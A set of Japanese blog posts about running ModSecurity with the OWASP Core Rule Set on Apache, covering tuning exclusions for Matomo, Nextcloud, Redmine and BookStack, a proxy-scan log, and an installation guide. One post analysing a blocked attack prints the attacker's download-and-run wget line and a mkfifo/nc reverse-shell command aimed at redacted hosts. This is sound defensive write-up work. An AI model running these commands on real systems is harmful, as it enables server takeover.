タグ: mod security Page 1 of 3

ModSecurity環境下でのWP-Matomo連携設定

こちらの記事の続き。WebアクセスシステムMatomoをWordpressと連携させ、wp-matomoと連携するときに、Mod_Securityが邪魔をしたので処置を行いました。

環境

Matomo側

  • Ubuntu 24.04
  • Apache 2.4
  • Mod Security v2

WordPress専用サーバ

  • Connect Matomoプラグイン

発生していた問題(症例)

1. Expectヘッダーによるブロック(ID: 920450)

Matomoがデータ送信の準備として送った Expect ヘッダーが、WAFのポリシーによって「制限されたヘッダー」と判定されたログです。(IP/ホストなどはダミーに置き換え)

[Wed Jan 21 20:55:18.015915 2026] [security2:error] [pid 34746:tid 133273950865088] [client 192.0.2.100:56166] [client 192.0.2.100] ModSecurity: Warning. String match within "/content-encoding/ /proxy/ /lock-token/ /content-range/ /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ /x-middleware-subrequest/ /expect/" at TX:header_name_920450_expect. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1187"] [id "920450"] [msg "HTTP header is restricted by policy (/expect/)"] [data "Restricted header detected: /expect/"] [severity "CRITICAL"] [hostname "matomo.example.com"] [uri "/"] [unique_id "aXC-pq-hNmFZwWUY4ipYBAAAAEg"]

2. スコア超過によるアクセス拒否(ID: 949110)

上記の Expect ヘッダー検知により、異常スコアがしきい値(5点)に達したため、通信が遮断(403 Forbidden)されたログです。

[Wed Jan 21 20:55:18.044159 2026] [security2:error] [pid 34746:tid 133273950865088] [client 192.0.2.100:56166] [client 192.0.2.100] ModSecurity: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [hostname "matomo.example.com"] [uri "/"] [unique_id "aXC-pq-hNmFZwWUY4ipYBAAAAEg"]

3. 相関ログ(ID: 980170)

最終的にどのカテゴリの攻撃として判定されたかをまとめた報告ログです。

[Wed Jan 21 20:55:18.307310 2026] [security2:error] [pid 34746:tid 133273950865088] [client 192.0.2.100:56166] [client 192.0.2.100] ModSecurity: Warning. Unconditional match in SecAction. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=5, detection=5, per_pl=5-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=0, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=5)"] [hostname "matomo.example.com"] [uri "/index.php"] [unique_id "aXC-pq-hNmFZwWUY4ipYBAAAAEg"]

行った措置:アプリケーション別除外ルールの作成

サーバー全体のセキュリティを下げるのではなく、特定のホスト(Matomoドメイン)に限定して、干渉しているルールのみを無効化します。

設定ファイルの記述例

/etc/modsecurity/rules/request-900-exclusion-rules-before-crs.conf 等に、以下の内容を追記、または作成します。

# ===================================================================
# アプリケーション別除外ルール: Matomo (matomo.example.com)
# ===================================================================

# 1. ターゲットとなるホスト名を指定し、それ以外は処理をスキップ
# ※ホスト名はご自身の環境に合わせて適宜読み替えてください
SecRule HTTP_HOST "@streq matomo.example.com" \
    "id:5001,phase:1,nolog,pass,chain,skipAfter:END_MATOMO_RULES_PRE"

    # 2. 特定されたホストに対し、干渉しているIDのみを無効化(外科手術)
    SecAction "ctl:ruleRemoveById=920450,ctl:ruleRemoveById=932370,ctl:ruleRemoveById=930130"

# スキップ先マーカー
SecMarker END_MATOMO_RULES_PRE

設定のテストと反映

上記、設定を行ったら

  • 構文チェック
sudo apache2ctl configtest

apache 再起動

sudo systemctl restart apache2.service

apache 再起動確認

systemctl status apache2.service

active(running)を確認します。

その後、wordpressのConnect Matomoのページに難度アクセス。

tail -f /var/log/matomo/matomo_error.log

等として(エラーログの場所は自分の環境に合わせます)

上記のログが出なければOKです。

今回の教訓

「最初にDetectionOnlyにしていたから助かった」に尽きます。

apacheの設定で

# Mod_security
<IfModule security2_module>
## 最初は検知モード
SecRuleEngine DetectionOnly
#SecRuleEngine On

と、コメントでオフオンを切り替えられる運用を組み込んでいたため、失敗を回避しました。

とはいえ

どハマりしたのがその、wp-connectとmatomoの連携だったのはまた改めて記します。

Mod_Securityが検知したOpen Proxy スキャニングログ

2026年1月20日、筆者が管理するサーバにて、典型的な Open Proxy スキャニング(公開プロキシ探索攻撃) を検知しました。
WAF(ModSecurity)が、いかにして「身勝手な中継依頼」を門前払いしたか、実際のログからそのメカニズムを記録します。

1. 検知ログの概要(実録)

以下は、攻撃者が CONNECT メソッドを使用して外部ドメイン(www.baidu.com)へ接続しようとした際のログです。

[Tue Jan 20 05:43:59 2026] [security2:error] [client xx.xx.xx.xx] 
ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. 
[id "911100"] [msg "Method is not allowed by policy"] [data "CONNECT"] [severity "CRITICAL"]
[hostname "www.baidu.com"] [uri "/"]

2. 攻撃の構造解析:何が起きていたのか?

このログから、攻撃者の明確な意図が読み取れます。

A. メソッドの悪用(CONNECT)

通常、Web閲覧(GET/POST)には使われない CONNECT メソッドが使用されています。これは本来、プロキシサーバに対して「外部サーバへのトンネルを作れ」と命じるためのコマンドです。

B. Hostヘッダの偽装

[hostname "www.baidu.com"]

攻撃者は、筆者のサーバに接続していながら、リクエストの宛先に www.baidu.com を指定しています。これは、筆者のサーバを「踏み台(Open Proxy)」にして、中国の検索エンジンにアクセスしようとする試みです。

これは、ほぼ、金盾の影響下にある者が当局の規制を逃れるため、私のvpsを利用しようとしたという背景でしょう。

3. 防御のロジック:なぜ止まったのか

ID 911100 の発動: ModSecurity CRS は、許可リストにないメソッド(CONNECT)を検知した瞬間、問答無用で CRITICAL 判定を下しました。

4. 結果:404ページへの誘導。

また、筆者のapacheのバーチャルサイトの設定もいい動きをしました。

ErrorDocument 403 404.html

としていたため、ModSecurity がアクセスを拒絶した後、Apache は設定された ErrorDocument に従い、403 forbiddenではなく、内部的に 404 not found を返しています。
攻撃者側から見れば、外部へのトンネルが開通するどころか、「そんなページ(機能)は存在しない」 という素っ気ない返答を掴まされて終わったことになります。

5. まとめ

今回の事例は、WAFのポリシーを「必要なものだけを許可し、不要なものは拒否する」状態に保ったことが防御につながった例です。

オレだけが外に出る事を
許可しろォォォ─────ッ

だが!
ウイルスは
許可しないィィィ────ッ

感染した部分は
出る事は
許可しないィィィィィ───ッ!!

というイルーヅォの言葉は割とセキュリティで重要という言葉を以て、本記事を締めくくります。

WAFの「やりすぎ」と「見逃し」を飼い慣らす:ModSecurityチューニング実践

OSSでのWAFとして非常にメジャーなModSecurityとCRS(Core Rule Set)。

デフォルトでは非常に強力な保護が得られます。しかし、そのままではRedmineやNextcloudといった「複雑なリクエストを投げるアプリ」はまともに動きません。

今回は、筆者の例を元に、偽陽性(誤検知)を回避しつつ、偽陰性(すり抜け)を最小限に抑える設定術を解説します。

筆者環境

  • Ubuntu 24.04
  • Apache 2.4
  • Mod Security v2

動いているWebアプリ

  • Nextcloud
  • Redmine
  • BookStack

と、WAFが偽陽性を誘発するようなWebアプリ群です。

1. そもそも「偽陽性」「偽陰性」とは?

WAFを運用する上で避けて通れない2つの概念です。

用語状態影響対策
偽陽性 (False Positive)正常な通信を攻撃と判定ユーザーがログインできない、投稿が消えるルールの除外設定(Exclusion)を行う
偽陰性 (False Negative)攻撃的な通信を正常と判定脆弱性を突かれ、被害が出るシグネチャの更新、独自ルールの追加

「守りを固めれば不便になり、利便性を取れば危うくなる」。このジレンマを解決するのが、筆者が設定している個別除外ルールの設計です。

2. 確実だけど偽陰性を産むやり方「ID除外」

これは筆者が2025年9月まで実施していた例です。

たとえば、自分がRedmineで投稿した記事がエラーとなってしまった。そのエラーを

awk '
/ModSecurity/ {
  if (match($0, /\[client ([0-9\.]+):/, ip_arr) && match($0, /\[id "([0-9]+)"\]/, id_arr)) {
    print id_arr[1], ip_arr[1];
  }
}' /var/log/nextcloud_error.log | sort | uniq -c

等として調査。以下の結果が出てきたとします。

     36 911100 127.0.0.1
    267 911100 aaa.bbb.ccc.ddd
     65 920420 aaa.bbb.ccc.ddd
     36 949110 127.0.0.1
    267 949110 aaa.bbb.ccc.ddd
     36 980130 127.0.0.1
    267 980130 aaa.bbb.ccc.ddd
IDルール名(概要)挙動の説明
911100Method is not allowed by policy許可されていないHTTPメソッド(GET/POST以外など)を検知します。
920420Request content type is not allowed by policyContent-Typeヘッダーが許可リストにない場合に反応します。
949110Inbound Anomaly Score Exceeded重要: これは特定の攻撃を指すものではなく、他のルールの合計スコアが閾値を超えたため「ブロックした」という最終結果を示すIDです。
980130Inbound Anomaly Score Exceeded (Reporting)949110と同様に、リクエスト全体の異常スコアが高かったことを報告するログ用のIDです。

これらの偽陽性に引っかかったIDを割り出し、/etc/apache2/sites-available/example.confなどで

 ## 最初は検知モード

 SecRuleEngine DetectionOnly
+
+## 偽陽性と判断したID
+SecRuleRemoveById 911100
+SecRuleRemoveById 920420
+SecRuleRemoveById 949110
+SecRuleRemoveById 980130
+
 </VirtualHost>

を追加するのは確実に偽陽性“は”防ぐことができます。しかし、これでは「本当に上記の脆弱性を突いた攻撃」は素通しとなってしまいます。

特に、攻撃者は、クローリングスクリプトなどで内容を確認し、「この記事があればこのルールは無効化されているはず」と当たりをつけます。定番の防御ツール、ましてやOSSともなると、

  • 偽陽性になりやすい(取り除かれやすい)ルール
  • 一発アウトになりやすい文章

は極めて多いのです。

特に、技術ブログのように

  • コマンド羅列
  • SQLコマンドをベタ打ち
  • スクリプト文の紹介

などは、投稿した瞬間にエラーとなったため、渋々SecRuleRemoveIdで検知しないようにした方は極めて多いのではないでしょうか。

3. CRSの裏をかく「防御未満の攻撃」

また、CRSは「このラインまでだったら大丈夫だ」という「甘い判断基準」が悲しいことに存在します。

以下は、ある日のModSecurityエラーログの一部です(情報は無害化済み)。

# 1. Slowloris攻撃を疑わせる矛盾したConnectionヘッダーの検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?i)(?:keep-alive(?:,\\\\s*close|...)" at REQUEST_HEADERS:Connection. [id "10001"] [msg "[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe."]

# 2. IPアドレスでの直接アクセスを検知
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|...)" at REQUEST_HEADERS:Host. [id "920350"] [msg "Host header is a numeric IP address"]

# 3. アノマリスコアが閾値を超えたため遮断
[Wed Jan 14 12:00:00 2026] [security2:error] [client 192.0.2.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 6)"]

ログから読み取れる攻撃者の意図

  • 矛盾したConnectionヘッダー:
  • Connection: keep-alive, close という通常ではありえないヘッダーが含まれていました。これは Slowloris などのDoS攻撃ツールに見られる特徴です。
  • IPアドレスでのホスト指定:
  • ドメイン名ではなくIPアドレス(例: 203.0.113.1)を指定してアクセスしています。これはボットによる無差別なスキャンの典型的な挙動です。

この、Mod_Securityのルールの外を狙った「じわじわとリソースを削っていく」攻撃こそ遮断する必要があります。

4. 「Webは守る」「投稿はスルーする」の「両方」をやる

この「偽陽性は防ぎつつ本来の防御を確立する」ために筆者が行っている手段は「例外ルールによるチューニング」です。

前提として:

こちらのリンク先のような形でCRSを設置。筆者記事:ModSecurityインストール

cd /usr/share/modsecurity-crs/coreruleset/rules && pwd

として、

REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.confファイルを作成します。

提示コンフィグ(ドメイン匿名化済み)

以下、筆者の例です。

  • 自身の環境に合わせてください。
  • 特に、正規表現としてドメイン名を利用しています。
  • 確実な正規表現の書き方は、あなたが今見ている機器で探してください。
#
# === CRS Exclusions - Before Rules Execution (Organized) ===
#

# ===================================================================
# 1. 共通ルール・汎用ルール (General/Common Rules)
# ===================================================================

# 1-1. 遅い通信(Slowloris)対策
# 矛盾するConnectionヘッダーを持つリクエストを遮断
SecRule REQUEST_HEADERS:Connection "@rx (?i)(?:keep-alive(?:,\sclose|,\skeep-alive)|close(?:,\skeep-alive|,\sclose))" \
    "id:10001,phase:1,t:none,block,msg:'[CUSTOM RULE] Contradictory Connection header, possible Slowloris probe.',tag:'application-attack',tag:'PROTOCOL_VIOLATION/INVALID_HREQ',setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

# 1-2. WordPress スキャン対策
# 存在しないWPパスへのアクセスは、問答無用でスコアを加算して404へ飛ばす
# wordpressを設置している方は、このセクションを無効化してください
SecRule REQUEST_URI "@rx /(?:wordpress|wp-admin|wp-content|wp-includes|xmlrpc\\.php)" \
    "id:10002,phase:2,pass,nolog,capture,msg:'[CUSTOM] WordPress Probe Detected. Scored +5.',tag:'ATTACK_WP_PROBE',setvar:'tx.anomaly_score_pl1=+5',setvar:'tx.lfi_score=+5',setvar:'tx.wp_probe_detected=1'"

SecRule TX:wp_probe_detected "@eq 1" \
    "id:10003,phase:2,deny,nolog,msg:'[CUSTOM] Final action: Deny with 404 status.',status:404"

# 1-3. IPアドレス直打ちアクセス対策
# ホスト名ではなくIPで直接アクセスしてくる怪しい挙動を即座にマーク
SecRule REQUEST_HEADERS:Host "@rx ^[\d.]+$" \
    "id:10004,\
    phase:1,\
    deny,\
    status:403,\
    log,\
    msg:'[CUSTOM RULE] Host header is a numeric IP address. Blocked immediately.',\
    tag:'application-attack',\
    tag:'PROTOCOL_VIOLATION/INVALID_HREQ'"

# ===================================================================
# 2. アプリ別除外: BookStack (Knowledge Base)
# ===================================================================
SecRule SERVER_NAME "@streq bookstack.example.com" \
    "id:1001,phase:1,nolog,pass,skipAfter:END_BOOKSTACK_RULES_PRE"

# PUTメソッドの許可(下書き保存用)
SecRule REQUEST_URI "@rx ^/(ajax/page|books|pages)/" \
    "id:1003,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PUT',ctl:ruleRemoveById=911100"

# 記事投稿時のSQLi/XSS誤検知を除外
SecRule REQUEST_URI "@rx ^/(books|ajax/page|pages)/" \
    "id:1005,phase:2,nolog,pass, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
    ctl:ruleRemoveById=921130, \
    ctl:ruleRemoveById=934130"

SecMarker END_BOOKSTACK_RULES_PRE

# ===================================================================
# 3. アプリ別除外: Nextcloud (Cloud Storage)
# ===================================================================
SecRule SERVER_NAME "@streq nextcloud.example.com" \
    "id:3001,phase:1,nolog,pass,skipAfter:END_NEXTCLOUD_RULES_PRE"

# WebDAV関連メソッド(PROPFIND等)を許可しないと同期が壊れるため除外
SecRule REQUEST_URI "@rx ^/remote\.php/" \
    "id:3002,phase:1,nolog,pass, \
    setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND OPTIONS REPORT PUT DELETE MKCOL', \
    ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920420"

SecMarker END_NEXTCLOUD_RULES_PRE

# ===================================================================
# 4. アプリ別除外: Redmine (Project Management)
# ===================================================================
SecRule SERVER_NAME "@rx ^(redmine|projects)\.example\.com$" \
    "id:4001,phase:1,nolog,pass,skipAfter:END_REDMINE_RULES_PRE"

# PATCHメソッド(チケット更新)の許可
SecRule REQUEST_URI "@rx ^/(issues|projects)/" \
    "id:4002,phase:1,nolog,pass,setvar:'tx.allowed_methods=%{tx.allowed_methods} PATCH',ctl:ruleRemoveById=911100"

# チケット内容(コードブロック等)がSQLiやRCEと誤認されるのを防ぐ
SecRule REQUEST_URI "@rx ^/projects/[^/]+/(issues|knowledgebase/articles|news|issue_templates)|/issues|/journals|/questions|/issue_templates" \
    "id:4003,phase:2,nolog,pass, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-RCE, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-SQLI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-LFI, \
    ctl:ruleRemoveByTag=OWASP_CRS/ATTACK-XSS, \
    ctl:ruleRemoveByTag=OWASP_CRS/PROTOCOL-ATTACK"

# View CustomizeプラグインでJS/CSSを編集する際の広範な除外
SecRule REQUEST_URI "@rx ^/view_customizes(?:/\d+)?$" "id:4006,phase:2,nolog,pass,t:none,chain"
  SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" \
    "ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-RCE;ARGS:view_customize[code],\
     ctl:ruleRemoveTargetByTag=OWASP_CRS/ATTACK-XSS;ARGS:view_customize[code]"

SecMarker END_REDMINE_RULES_PRE

なぜこれが必要なのか

  1. プロトコルの柔軟性: 標準のCRSは「GET/POST」以外のメソッド(PUT, PATCH, PROPFINDなど)を攻撃の兆候として厳しく制限します。しかし、モダンなWebアプリ(特にNextcloud)にはこれらが不可欠です。
  2. 偽陽性の温床「本文検査」: Redmineで「SQLの書き方」をチケットに書くと、WAFはそれを「SQLインジェクション攻撃」とみなしてブロックします。特定のパスに対してのみ、特定の検査(Tag)をオフにすることで、利便性を確保しています。
  3. 無駄なスキャンの排除: WordPressを使っていないサーバーへのWordPress用スキャンは、リソースの無駄です。これを早期に検知して「スコア加算+404応答」とすることで、後続の重い検査をスキップしつつ攻撃者をあしらいます。
  4. SecRuleRemoveByTag の威力: IDを1つずつ消すと、CRSがアップデートされた際に追加された「新しいSQLi検知ルール」に対応できません。今回のように OWASP_CRS/ATTACK-SQLI というタグ単位で除外することで、将来のアップデート後も「投稿機能だけは常に使える」状態を維持できます。
  5. 「404」で返す心理的効果: 攻撃者(のボット)は、403を返すと「あ、WAFがあるな」と判断して攻撃手法を変えてくることがありますが、404を返すと「このIPには何も存在しない」と判断してリストから外してくれる可能性が高まります。

設定のテストと反映

上記、設定を行ったら

  • 構文チェック
sudo apache2ctl configtest

apache 再起動

sudo systemctl restart apache2.service

apache 再起動確認

systemctl status apache2.service

active(running)を確認します。

偽陽性排除確認

実際にRedmine / Nextcloud等にアクセスして、投稿をしても偽陽性にならない(エラーにならない)を確認できれば成功です。

5. 賢いWAF運用のコツ

WAFは一度設定して終わりではありません。

ログを確認する:

/var/log/apache2/error.log や ModSecurityのアAuditログを監視し、id:xxxxx が出たら「それは本当に攻撃か?」を疑い、必要なら今回のコンフィグに除外ルールを追記します。

身内には優しく、外敵には厳しく:

特定のソースIPや、自社ドメイン宛の正常な操作(Redmineの更新など)は、今回のようにパスやメソッドで丁寧に除外を作るのが、運用を長続きさせる秘訣です。

この、例外ルールを正しく使うことで、スクリプトキディやクローラーに対して、このような大見得を切ってやりましょう。

『任務は遂行する』
…………
部下も守る
おまえごときに両方やるというのは
そうムズかしい事じゃあないな

Linux Webサーバのログから見るモダンな攻撃例。

2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。

検知ログの概要(匿名化済み)

[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
 - RCE (Remote Code Execution): 65
 - SQLI (SQL Injection): 5
 - LFI (Local File Inclusion): 5
 - COMBINED_SCORE: 78

攻撃ペイロードの構造解析

攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。

プロトタイプ汚染(Prototype Pollution)

"__proto__": { "then": "$1:__proto__:then" }

これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。

OSコマンド注入(Remote Code Execution)

JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)

# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立

3. 防御側の対応と結果

とはいえ、この手の防御はしっかりとWAFが検知していました。

  • 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
  • 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
  • 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。

解説メモ

この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。

しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。

漫画『ONE OUTS』にも引き合いに出された

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

『ONE OUTS』システム(Apache/Mod_Security/テキストファイル連携によるWeb防御)解説。 1 OUT

概要

これは、筆者が自分のサーバに組み込んでいるWebセキュリティシステム(と言ってもスクリプトと設定の組み合わせ) 『ONE OUTS』について述べたものです。

  1. OSSで動くこと
  2. シンプルな仕組みであること
  3. メンテナンス性と再現性が高いこと

を目標に構築しました。

メンテナンスが高いとは言え、少々複雑な流れを含むため、いくつかに分けて解説します。

名前の由来

甲斐谷忍先生による同名の野球漫画『ONE OUTS』から来ています。

  • 持ち玉はストレートのみ
  • パワーよりも心理戦で打者を翻弄
  • ルールの裏をかきながらもルールに従う姿勢

などをイメージしながら構築しました。

環境

以下の環境で動いています。

  • Ubuntu 24.04
  • Apache 2.4
    • モジュール
      • mod_rewrite
      • mod_ssl
      • mod_header
      • mod_alias
      • mod_security2
  • シェルスクリプト

次のページから、実際のファイル群を示します。

【改訂・再編集】ApacheにWAF・Mod_Security導入。

こちらの記事の改訂・再編集版です。

そもそもWAFとは?

WAFとはWeb Application Firewallの略で、Webアプリケーション層の脆弱性を狙った攻撃を防ぐためのセキュリティシステムです。

  • UFWやFail2banがIPアドレスやポート番号といった家の玄関を監視するのに対し、WAFは、Webサーバーへ届く手紙(HTTPリクエスト)の中身を解析し、悪意あるスクリプトやコマンドの有無をチェックします。
  • UFWでは、通常のポート(80番や443番)を通る攻撃は防げませんが、WAFは攻撃の内容を解析し、独自のルールセットに基づき「このアクセスは許可するが、このコードがアクセスすることは許可しない」という、より柔軟で厳しいセキュリティチェックを施します。

この機能により、Webサーバーやアプリケーション本体に脆弱性が見つかったとしても、WAFが前段の盾としてこれをカバーできます。

ModSecurityとは?

ModSecurityは、IIS/Apache/Nginxといった主要なWebサーバープログラムにモジュールとして組み込みが可能なオープンソースのWAFです。

  • 導入コスト: ライセンス費用が不要であり、既存のWebサーバーと連携する形で容易に組み込めます。
  • 柔軟性: OSSであるため、高い柔軟性を持ち、設定(チューニング)次第でピンポイントの防御や包括的な防御を併せ持つことができます。

備考(バージョンの選択):

本稿で導入するModSecurityは、Ubuntu 24.04系のパッケージ管理で提供されるEOL (End-of-Life) となっているv2ですが、機能性は単一VPSの防御としては十分です。

v3への移行は、セキュリティ強度とメンテナンス性を考慮し、パッケージ化ないしはOSアップデートなどのタイミングでまた後日検討していきます。

環境

  • Ubuntu 24.04 (22.04でも動作確認)
  • Apache 2.4

※ パッケージ管理にaptitudeを用いています。必要に応じてaptに読み替えてください。

さっくりとした手順

  1. mod_securityのインストールを行います。
  2. mod_securityの設定を行います。
  3. Apacheのバーチャルサイトにmod_securityを組み込みます。
  4. 設定を反映して動作を確認します。

mod_securityのインストールを行います。

  • パッケージ全体のアップデート
sudo aptitude update
  • mod_securityインストール
sudo aptitude install libapache2-mod-security2
  • インストール確認
sudo apache2ctl -M |grep security
security2_module (shared)

と表示されていることを確認します。

ModSecurityの設定

  • 設定ファイル書き換え
sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

推奨ファイルをそのまま設定ファイルとして書き換えます。

OWASP Core Rule Set (CRS)のインストールと設定

  • ディレクトリ移動
cd /usr/share/modsecurity-crs && pwd
  • ルールセットのダウンロード
sudo git clone https://github.com/coreruleset/coreruleset.git
  • ルールセットの設定書き換え
sudo mv /usr/share/modsecurity-crs/coreruleset/crs-setup.conf.example /usr/share/modsecurity-crs/coreruleset/crs-setup.conf

mod_securityモジュールにCRSを読み込む設定を追記

  • ディレクトリ移動
cd /etc/apache2/mods-available/ && pwd
  • ファイルのバックアップ
sudo cp -pi security2.conf /path/to/backup/directory/security2.conf.$(date +%Y%m%d)

任意のバックアップディレクトリを指定します。

  • バックアップ確認
diff -u /path/to/backup/directory/security2.conf.$(date +%Y%m%d) security2.conf

エラーがなければバックアップは成功です。

  • ファイル追記

/etc/apache2/mods-available/security2.confを、以下の差分になるように教義・信仰に沿ったエディタで編集します。(要root権限)

 <IfModule security2_module>
-       # Default Debian dir for modsecurity's persistent data
-       SecDataDir /var/cache/modsecurity
+    # Default Debian dir for modsecurity's persistent data
+    SecDataDir /var/cache/modsecurity

-       # Include all the *.conf files in /etc/modsecurity.
-       # Keeping your local configuration in that directory
-       # will allow for an easy upgrade of THIS file and
-       # make your life easier
-        IncludeOptional /etc/modsecurity/*.conf
+    # Include all the *.conf files in /etc/modsecurity.
+    # Keeping your local configuration in that directory
+    # will allow for an easy upgrade of THIS file and
+    # make your life easier
+    IncludeOptional /etc/modsecurity/*.conf

-       # Include OWASP ModSecurity CRS rules if installed
-       IncludeOptional /usr/share/modsecurity-crs/*.load
+    # --- OWASP Core Rule Set (CRS) の読み込み ---
+
+    # 1. CRSのセットアップファイルを読み込む(必須)
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
+    
+    # 2. CRSのルールファイルを読み込む
+    #    パフォーマンス問題を起こすSQLデータ漏洩検知ルールを除外
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/REQUEST-*.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-950-DATA-LEAKAGES.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-980-CORRELATION.conf
+    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf

→ 修正後のsecurity2.conf全文

<IfModule security2_module>
    # Default Debian dir for modsecurity's persistent data
    SecDataDir /var/cache/modsecurity

    # Include all the *.conf files in /etc/modsecurity.
    # Keeping your local configuration in that directory
    # will allow for an easy upgrade of THIS file and
    # make your life easier
    IncludeOptional /etc/modsecurity/*.conf

    # --- OWASP Core Rule Set (CRS) の読み込み ---

    # 1. CRSのセットアップファイルを読み込む(必須)
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf

    # 2. CRSのルールファイルを読み込む
    #    パフォーマンス問題を起こすSQLデータ漏洩検知ルールを除外
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/REQUEST-*.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-950-DATA-LEAKAGES.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-980-CORRELATION.conf
    IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
</IfModule>

※ なぜここまで除外するか?

この、RESPONSE-9x系のルールは、ページの内容に機密情報(クレジットカードのデータなど)が入っていないかを精査します。

これは重要なものですが、昨今のAIボットによる過剰なクロールが挟むと、サーバそのものへの負荷を強め、更にログの圧迫(実際にサーバ容量120GB全てを食い尽くしました)とサーバダウンにつながります。

こちらは個人サイト、単一VPSの運用を旨としているため、ここに関するデータはオミットです。 その分、他の設定の補強でセキュリティ強度を担保します。

  • 設定追記の整合性を確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • Apache再起動
sudo systemctl restart apache2.service
  • Apache再起動確認
systemctl status apache2.service

active (running) を確認します。

Apacheのバーチャルサイト編集

稼働済みのApacheバーチャルサイトの設定ファイルをいじります。バックアップ確認は入念に行ってください。

  • ディレクトリ移動
cd /etc/apache2/sites-available && pwd
